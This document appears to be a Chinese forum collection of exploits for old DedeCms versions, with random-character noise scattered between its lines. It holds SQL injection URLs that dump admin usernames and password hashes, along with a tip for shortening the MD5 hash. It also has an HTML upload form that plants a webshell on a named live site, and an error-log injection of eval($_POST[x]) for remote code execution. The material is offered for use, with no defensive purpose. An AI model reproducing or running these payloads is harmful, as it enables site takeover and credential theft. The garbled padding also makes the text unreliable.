, h( u, A A8 P. c! J4 F3 p) [ 2 E* c6 j) Q! E$ M4 ?" p& ?% N1 S% i6 M) @
; v' [5 ]& U+ L/ Y) W; h$ M/ Q4 y8 m
# L. d8 A2 i8 Y6 z ) p& Y7 {/ J) K5 t . X) w$ p8 |) U5 u4 ~. ^% x( e; R& d; a* d6 C2 l, e7 D
/ ~" R4 P4 T$ PDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 6 _8 Z8 g8 Q! O6 Q6 n; l0 C3 d/ s
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` {8 p0 x1 ]! U" V密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5: F2 o4 b) F, I7 X% o0 n, B
0 ^5 M7 d+ V4 ~' Q
9 d" j" x6 s L3 e, y
# Y8 S) b$ U, w- G( M# E# Q* u' S w1 {) ~' [2 x: l2 h) g+ ~
1 Z( f5 I& M% w' K" F
: g2 O. _6 Y. j9 @ x; S: }; {
" a) L2 w, F7 b* b* j) G( W6 i3 }+ `2 M/ P
- [, b' Y; }8 I3 J
' l8 H2 k- R- e. D' J织梦(Dedecms) 5.1 feedback_js.php 注入漏洞& e6 B2 @/ \& d# A
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='2 G7 a9 `. V0 K7 `! G( N1 ~! Q
( J3 u8 X b/ U: u& v1 L. e3 _
! N% D* f+ [$ L1 M# O' K
+ x8 `7 ~. ]+ l. l) G" S& C. V; X$ I
8 K$ W& t {! D. o4 B1 f- U5 `
" b6 }' i# g" U" L2 g$ l% C. v6 s
: c) i% R9 L0 k+ {: O+ k! k
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞 d; S7 R8 {8 x( m<html> * z# O' Y% F. ?. \<head>- N8 H V! `; u p* s) d5 R: H3 h; n
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title> # C8 I5 j7 r& t1 _& y7 q</head>; l9 J; v! U4 o
<body style="FONT-SIZE: 9pt"> 5 R7 f" S( ? `: S---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />% Y. o; N+ c$ e5 w# \6 x2 u: l
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> - L1 |$ C/ Q- _<input type='hidden' name='activepath' value='/data/cache/' />0 ^2 N2 {+ c. @
<input type='hidden' name='cfg_basedir' value='../../' />! V, g7 {, e& \3 ~" z
<input type='hidden' name='cfg_imgtype' value='php' /> # ?: O% W& R7 k* ?<input type='hidden' name='cfg_not_allowall' value='txt' />" e! |3 g: G& z6 M5 u+ p" C
<input type='hidden' name='cfg_softtype' value='php' />9 g0 m7 @0 s7 J' H( ^! j
<input type='hidden' name='cfg_mediatype' value='php' />2 f. V; g) l/ _+ p' l' S* g& R' h( f/ t
<input type='hidden' name='f' value='form1.enclosure' /> 4 o" T4 f, N; P8 R) P' ~<input type='hidden' name='job' value='upload' /> 0 ?$ M* \9 E1 }: Q<input type='hidden' name='newname' value='fly.php' />, W# w: L. R! O% }- N0 q, I1 D) }
Select U Shell <input type='file' name='uploadfile' size='25' /> * T! K( x0 Z1 r" \+ w4 C! w3 O<input type='submit' name='sb1' value='确定' /> % s5 q1 D F6 I4 v</form>/ V+ b, K5 a7 e' S
<br />It's just a exp for the bug of Dedecms V55...<br />) [( f9 A2 H3 T
Need register_globals = on...<br />7 ^$ V* ]1 ?- S7 P2 D" z
Fun the game,get a webshell at /data/cache/fly.php...<br /> ! f7 N9 I2 E# A* P9 ]</body> 8 [9 j/ g" S6 U</html>2 H u0 t" u+ z) C! J
4 x4 s' S* ]5 u* V7 g; A
6 h+ a7 I8 a) t3 }3 o * x' g& I& a/ n3 y4 [/ d3 G8 O4 P, w2 O4 J8 O; m# `
8 A a2 h/ x# U* a+ H% @( d$ _( F; l3 O, ]7 u
9 r% R! Q; I9 \2 ] N7 J3 e$ L9 k. F* j. h 6 z( l; S% A9 F0 m( @* ?) ]" v7 x) `& Z* o( }$ h# l
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞 % m, C$ w7 P( Z4 v* |& W; P1 F% d) m利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。8 s i& h. j9 \, L
1. 访问网址: 5 x) g/ j2 k, |. J7 E: u9 Ohttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>+ ?5 s0 p& p$ w0 m
可看见错误信息 8 D, T0 l" c2 A+ a0 w, s N ! p# A6 m/ j/ e O! R 2 g" d, _! x! R% {% h( a$ p3 [2 [* L& N2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。& q4 W* x) q4 c0 J# P
int(3) Error: Illegal double '1024e1024' value found during parsing : N+ ?4 U* k6 y% f' _Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?> 0 K# U# O* I' o6 }/ u, P) a4 b. ]; n5 M) j
W, r- X) e1 e0 N' N& J1 X9 V3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是 / J. [8 X V7 U1 g 7 U* A. w" M/ |2 `7 s+ ?) D% l* q8 n# s" W# Q
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>: o/ d5 Z1 s' `3 E* a
) _1 ?+ h! G1 M, u$ g6 f. G$ D" F9 u5 S3 _+ Y& _- l5 S: U' {& z
按确定后的看到第2步骤的信息表示文件木马上传成功. # |' h5 {- N9 l H2 p2 C/ X8 b1 G. G 3 y1 J: f* [" O3 `2 S- V- p6 c- p: J" a/ j4 p( N& U
. Z5 K) s* @/ w$ a% t5 j) f, A3 p
9 x2 u1 K# ?2 L* M9 q
% [! x2 Y1 B N/ K! w9 ?& r- W1 p- I+ |4 f) N
7 e+ s# d* a. i- _/ i- U# { U+ W7 J8 C
8 W, [. `% o; g' B4 X5 d& `) x" E/ C. P$ p
* {# |0 [5 o' V 1 f U K; g3 G织梦(DedeCms)plus/infosearch.php 文件注入漏洞9 N+ D! q# P+ ?. X |
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*